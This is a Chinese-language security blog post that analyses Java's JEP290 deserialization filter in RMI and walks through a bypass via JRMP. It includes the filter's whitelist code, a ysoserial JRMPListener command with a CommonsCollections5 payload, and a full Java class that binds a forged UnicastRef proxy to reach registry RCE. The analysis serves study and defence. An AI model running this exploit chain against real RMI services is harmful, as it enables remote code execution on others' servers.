浅谈 JEP290
Drunkbaby Lv6

浅谈 JEP290

浅谈 JEP290

0x01 前言

属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。

一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 关于 JEP290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事

1、提供一个限制反序列化类的机制,白名单或者黑名单。
2、限制反序列化的深度和复杂度。
3、为 RMI 远程调用对象提供了一个验证类的机制。
4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

官方从 8u121,7u13,6u141 分别支持了这个 JEP

0x03 JEP290 防御手段分析

先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

尝试去攻击,这里会报错,报错部分信息为

1
2
java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290

  • 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类

我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。

跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进

先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进

跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。

readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进

filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。

这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法

对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:

1
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤

0x04 JEP290 绕过

这里我们可以先看一下白名单里面都能过什么,白名单如下

1
2
3
4
5
6
7
8
9
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass

绕过利用

思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样

先用 ysoserial 开启 JRMP 3333 端口的监听

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后编写 RMI 的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}

这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。

绕过分析

我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象

当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信

这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化

接着来看看 yso 中的 JRMPClient 是做了什么操作

1
2
3
4
5
6
7
8
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;

这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObjectreadObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:

这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

一路跟进到 sun.rmi.transport.LiveRef#read

可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。

跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpointArrayList<LiveRef> 的映射关系。

到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进

releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法

var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下

里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。

dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。

invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP

至此绕过分析结束

0x05 小结

本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。

0x06 Ref

https://xz.aliyun.com/t/8706

 评论